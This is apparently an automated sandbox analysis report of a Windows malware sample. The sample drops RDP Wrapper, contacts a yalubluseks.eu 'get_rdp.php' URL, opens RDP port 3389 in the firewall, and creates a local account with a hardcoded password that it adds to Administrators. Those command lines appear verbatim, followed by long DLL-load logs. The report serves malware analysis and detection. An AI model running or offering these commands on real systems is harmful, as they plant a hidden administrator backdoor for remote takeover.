Source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/
Source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://yalubluseks.eu
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://yalubluseks.eud
Source: RDPWInst.exe	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
Source: RDPWInst.exe, 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	String found in binary or memory: https://yalubluseks.eu/get_rdp.php
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalubluseks.eu/get_rdp.phpd

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733

Source: unknown

HTTPS traffic detected: 172.67.140.92:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_0040360C

3_2_0040360C

Source: Joe Sandbox View

Dropped File: C:\Program Files\RDP Wrapper\rdpwrap.dll 798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00406BE0 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00404CDC appears 74 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00407450 appears 135 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 004042F8 appears 74 times

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 2488

Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.00000000030AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000304A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamerfxvmt.dllj% vs SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000304A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRDPWInst.exeB vs SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000000.1664658414.0000000000BA2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\rdpvideominiport.sys

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@29/11@2/3

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_0043BF00 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,

3_2_0043BF00

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_0040FAE8 GetDiskFreeSpaceW,

3_2_0040FAE8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_0043DC64 LoadLibraryExW,FindResourceW,LoadResource,FreeLibrary,

3_2_0043DC64

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_0043B1A8 OpenSCManagerW,GetLastError,OpenServiceW,CloseServiceHandle,GetLastError,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,CloseServiceHandle,

3_2_0043B1A8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Program Files\RDP Wrapper

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6924:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6468
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7032:120:WilError_03

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Jump to behavior

Source: Yara match	File source: 3.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1688644177.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Virustotal: Detection: 58%

Source: RDPWInst.exe	String found in binary or memory: Link: http://stascorp.com/load/1-1-0-62
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	String found in binary or memory: /add

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user RDPUser_217d5074 DUF6g)aA2aiB /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_217d5074 DUF6g)aA2aiB /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_217d5074 DUF6g)aA2aiB /add
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Administrators" RDPUser_217d5074 /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_217d5074 /add
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 2488
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user RDPUser_217d5074 DUF6g)aA2aiB /add	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_217d5074 DUF6g)aA2aiB /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_217d5074 DUF6g)aA2aiB /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_217d5074 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_217d5074 /add	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
